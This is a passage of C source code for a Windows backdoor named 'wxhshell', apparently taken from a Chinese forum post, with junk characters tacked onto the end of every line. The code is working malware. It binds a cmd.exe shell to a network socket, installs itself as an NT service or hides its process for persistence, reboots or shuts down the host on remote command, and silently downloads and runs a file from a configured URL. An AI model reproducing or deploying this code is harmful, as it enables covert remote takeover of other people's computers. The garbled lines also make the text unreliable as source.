/u9Md3q*'  
    switch(cmd[0]) { DP2 ^(d<  
  MQL1/>j;  
  // 帮助 zdDn. vG  
  case '?': { aq ~g 54  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )` nX~_'p  
    break; ]=2wQ8  
  } QPe+K61U  
  // 安装 ]B;GU  
  case 'i': { r 5!ie!5gE  
    if(Install())  Vf:w.G A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \Y)pm9!  
    else oY!nM%z/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 44H#8kV  
    break; 13oR-Stj|  
    } nC^|83  
  // 卸载 V^ O dTM  
  case 'r': { owClnp9K  
    if(Uninstall()) j, SOL9yg  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (kpn"]^'  
    else zYf `o0U  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); y`"b%P)+T  
    break; m'Jk!eo  
    } +xqPyR  
  // 显示 wxhshell 所在路径 hFORs.L&G  
  case 'p': { OiB*,TWV  
    char svExeFile[MAX_PATH]; %9z N U  
    strcpy(svExeFile,"\n\r"); |meo  
      strcat(svExeFile,ExeFile); &3x \wH/_  
        send(wsh,svExeFile,strlen(svExeFile),0); cY+vnQm  
    break; y %dUry%>  
    } Fs^d-I  
  // 重启 "Aw| 7XII  
  case 'b': { fo63H'7  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); y'(bp=Nq  
    if(Boot(REBOOT)) tw. 2h'D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >QwZt  
    else { pfj%AP:  
    closesocket(wsh); !^Mk5E(  
    ExitThread(0); TGnyN'P|  
    } */gm! :Ym  
    break; Pb0+ z=L  
    } :Jp$_T&E  
  // 关机 9/$D&tRN  
  case 'd': { 0 S3~IeJ  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); yVe<[!hJ  
    if(Boot(SHUTDOWN)) m?;aTSa  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); po~l8p>  
    else { +MG(YP/ l  
    closesocket(wsh); xyO]Evg  
    ExitThread(0); ygm4Aj>  
    } h.Cr;w,2R  
    break; 0{ov LzW  
    } {7^7)^@  
  // 获取shell yteJHaq  
  case 's': { rvT7 5dV0  
    CmdShell(wsh); MpbH!2J  
    closesocket(wsh); o'.6gZ gk  
    ExitThread(0); *&X.  
    break; #4h_(Y  
  } !:Lb^C;/  
  // 退出 1x+Y gL5  
  case 'x': { :0BaEqX  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 1Yt;1k'  
    CloseIt(wsh); h,Y MR3:X  
    break; MRvtuE|g  
    } E.v~<[g  
  // 离开 Qh%(yL!  
  case 'q': { }Sa2s&[<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); #pJ^w>YNy  
    closesocket(wsh); J-g#zs  
    WSACleanup(); EUdu"'=4a  
    exit(1); 7+aTrE{  
    break; \m!swYy  
        } 9F~U% >GX  
  } EZkg0FhkZ  
  } q|J3]F !n  
\XR%pC  
  // 提示信息 4kO[|~#  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oD,f5Ci-  
} 2#Fc4RR;  
  } Ij>x3L\-  
>j1\]uo  
  return; y4`<$gL   
} xw-x<7  
'tK5s>gv<  
// shell模块句柄 se](hu~w  
int CmdShell(SOCKET sock) ;czMsHu0X  
{ iqCKVo7:M  
STARTUPINFO si; hx$-d}W{  
ZeroMemory(&si,sizeof(si)); Qg+0(odd  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; )%8oE3O#  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; VXvr`U\  
PROCESS_INFORMATION ProcessInfo; _H|c _  
char cmdline[]="cmd"; zECdj'/  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); =p>"PqJ/7n  
  return 0; P/._ tQu6  
} y|!%C-P  
2U,O e9  
// 自身启动模式 G.K3'^_  
int StartFromService(void) <Gzy*1 Q&  
{ m`UNdFS  
typedef struct Z~o*$tF/  
{ 'UO,DFq[Fl  
  DWORD ExitStatus; y wlN4=  
  DWORD PebBaseAddress; 7G}vQO  
  DWORD AffinityMask; 0N.tPF}  
  DWORD BasePriority; Xr~6_N{J  
  ULONG UniqueProcessId; h d1H  
  ULONG InheritedFromUniqueProcessId; yvo~'k#c  
}   PROCESS_BASIC_INFORMATION; l)E \mo 8  
bL 5z%bV  
PROCNTQSIP NtQueryInformationProcess; Sv.z9@S  
:bMCmY  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; "iE9X.6NMu  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; -bSe=09;S|  
06 gE;iT  
  HANDLE             hProcess; 5,>1rd<B  
  PROCESS_BASIC_INFORMATION pbi; 'Omi3LXfDT  
^\ &:'$f+8  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ]H7_bix  
  if(NULL == hInst ) return 0; 8Dpf{9Y-E  
B?c9cS5Mj  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ITh1|yP  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); haW8zb0z  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); :qy`!QPUm  
V#!ihL/>  
  if (!NtQueryInformationProcess) return 0; jzc/Olb  
/zn|?Y[  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); N)A?*s'v~  
  if(!hProcess) return 0; I ,Q"<? &  
$enh>!mU  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; u4B,|_MK  
*!UY;InanX  
  CloseHandle(hProcess); 5=Mm=HyI2  
|jm|/{lc  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 3ydOBeY  
if(hProcess==NULL) return 0; &|P@$O>  
N]: "3?%  
HMODULE hMod; v,r}q1.E}  
char procName[255]; xEaRuH c  
unsigned long cbNeeded; i7 `dY {p7  
R3F>"(P@tS  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); !c:Q+:,H  
YKLh$  
  CloseHandle(hProcess); 12Qcjj%F*  
]9)pFL  
if(strstr(procName,"services")) return 1; // 以服务启动 (r`+q[  
evPr~_  
  return 0; // 注册表启动 a>`\^>G4  
} [8.ufpZ  
"|`8mNC  
// 主模块 ` =dD6r  
int StartWxhshell(LPSTR lpCmdLine) PaV[{ CD  
{ &oiX/UaY  
  SOCKET wsl; @Fqh]1t  
BOOL val=TRUE; (6z^m?t?  
  int port=0; exV6&bdu  
  struct sockaddr_in door; wXDF7tJh  
t$r^'ZN  
  if(wscfg.ws_autoins) Install(); XETY)<g  
3tI=? E#  
port=atoi(lpCmdLine); 8rXq-V_u  
&/R@cS6}'  
if(port<=0) port=wscfg.ws_port; C.s{ &  
}uWJ  
  WSADATA data; wNDLN`,^H  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9}`O*A=KC  
&KgR;.R^J  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Pca~V>Hd  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *wP8)yv7  
  door.sin_family = AF_INET; KgVit+4u/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); " e g`3v  
  door.sin_port = htons(port); !`\W8JT+  
Dqe)8 r  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?LgR8/Io@5  
closesocket(wsl); l9 )iLOj  
return 1; Gk,{{:M:5  
} MLY19;e  
>1a- }>r  
  if(listen(wsl,2) == INVALID_SOCKET) { Vj4 if@Z  
closesocket(wsl); $/],QD_;"  
return 1; wQ!~c2a<8  
} ~w Dmt  
  Wxhshell(wsl); |K'{R'A  
  WSACleanup(); %cO;{og M  
m(nlu  
return 0; N<hbV0$%  
 ?1r@r  
} w(r$n|Ks9  
SDiZOypS  
// 以NT服务方式启动 COFs?L.`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ]l+Bg;F#V  
{ EVNTn`J_  
DWORD   status = 0; B+);y  
  DWORD   specificError = 0xfffffff; p\:_E+lsU  
"*laY<E  
  serviceStatus.dwServiceType     = SERVICE_WIN32; y 4,2Xs9,  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; >NB}Bc  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; CSc*UX+  
  serviceStatus.dwWin32ExitCode     = 0; l}335;(  
  serviceStatus.dwServiceSpecificExitCode = 0; W)^:*z  
  serviceStatus.dwCheckPoint       = 0; '15j$q  
  serviceStatus.dwWaitHint       = 0; BQSA;;n]  
yt>Pf <AI  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler);  vi4 1`  
  if (hServiceStatusHandle==0) return;  -6~*:zg,  
S n.I ]:l  
status = GetLastError(); dVVeH\o  
  if (status!=NO_ERROR) b-]E -$Uz  
{ oHI~-{m3)  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; XZcsx  
    serviceStatus.dwCheckPoint       = 0; u A C:&  
    serviceStatus.dwWaitHint       = 0; N$pwTyk  
    serviceStatus.dwWin32ExitCode     = status; i0-!!  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7zr\AgV9  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); U`FybP2R~  
    return; 8)5 n  
  } l4U& CA y  
$2]1 3j  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; MGc=TQ.  
  serviceStatus.dwCheckPoint       = 0; BGOI$,  
  serviceStatus.dwWaitHint       = 0; Rt7}e09HV  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); *Vfas|3hZI  
} z$ysp!  
KyXgw  
// 处理NT服务事件,比如:启动、停止 @E O #Ms  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ||`w MWq  
{ ><LIOFqsS  
switch(fdwControl) Z<jRZH*L  
{ {N)\It  
case SERVICE_CONTROL_STOP: :1_hQeq  
  serviceStatus.dwWin32ExitCode = 0;  =e$ #m;  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; oge^2  
  serviceStatus.dwCheckPoint   = 0; lU Uq|Qr  
  serviceStatus.dwWaitHint     = 0; `Kym{og  
  { -B4uK  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); C$*`c6R  
  } n,PHfydqX  
  return; ]~?k%Mpw  
case SERVICE_CONTROL_PAUSE: wrqdQ} @(  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; &@dMk4BH<  
  break; ,Lv} Xku  
case SERVICE_CONTROL_CONTINUE: C^n L{ZP,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v^@L?{" }8  
  break; y{u6t 3  
case SERVICE_CONTROL_INTERROGATE: yl 0?Y  
  break; {6 #3`  
}; x ?^c:`.  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $nn~K  
} <g*rTqT'  
M|n)LyL  
// 标准应用程序主函数 %M}zi'qQ?  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) zNE!m:s  
{ yqejd_cd  
Maa5a  
// 获取操作系统版本 ,<EmuEw |  
OsIsNt=GetOsVer(); H5&>Eny  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "3\RJ?eW:S  
7e8hnTzl8<  
  // 从命令行安装 P? 9CBhN  
  if(strpbrk(lpCmdLine,"iI")) Install(); EHzZ9zH\  
P*aD2("Z  
  // 下载执行文件 N e^#5T  
if(wscfg.ws_downexe) { jb7=1OPD_  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'Fonn  
  WinExec(wscfg.ws_filenam,SW_HIDE); e3S6+H),I  
} ++ dV5  
5@0c@Q  
if(!OsIsNt) { uFok'3!g7%  
// 如果时win9x,隐藏进程并且设置为注册表启动 @J r  
HideProc(); <U~P-c tN  
StartWxhshell(lpCmdLine); Q@$1!9m  
} $hKgTf?  
else \&TTe8  
  if(StartFromService()) E32z(:7M  
  // 以服务方式启动 ise@,[!  
  StartServiceCtrlDispatcher(DispatchTable); SbGp  
else V >['~|  
  // 普通方式启动 _I8-0DnOM  
  StartWxhshell(lpCmdLine); *kKGsy  
Rw/G =zV@2  
return 0; ED?s[K  
}
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只看该作者 1 发表于: 2006-10-10
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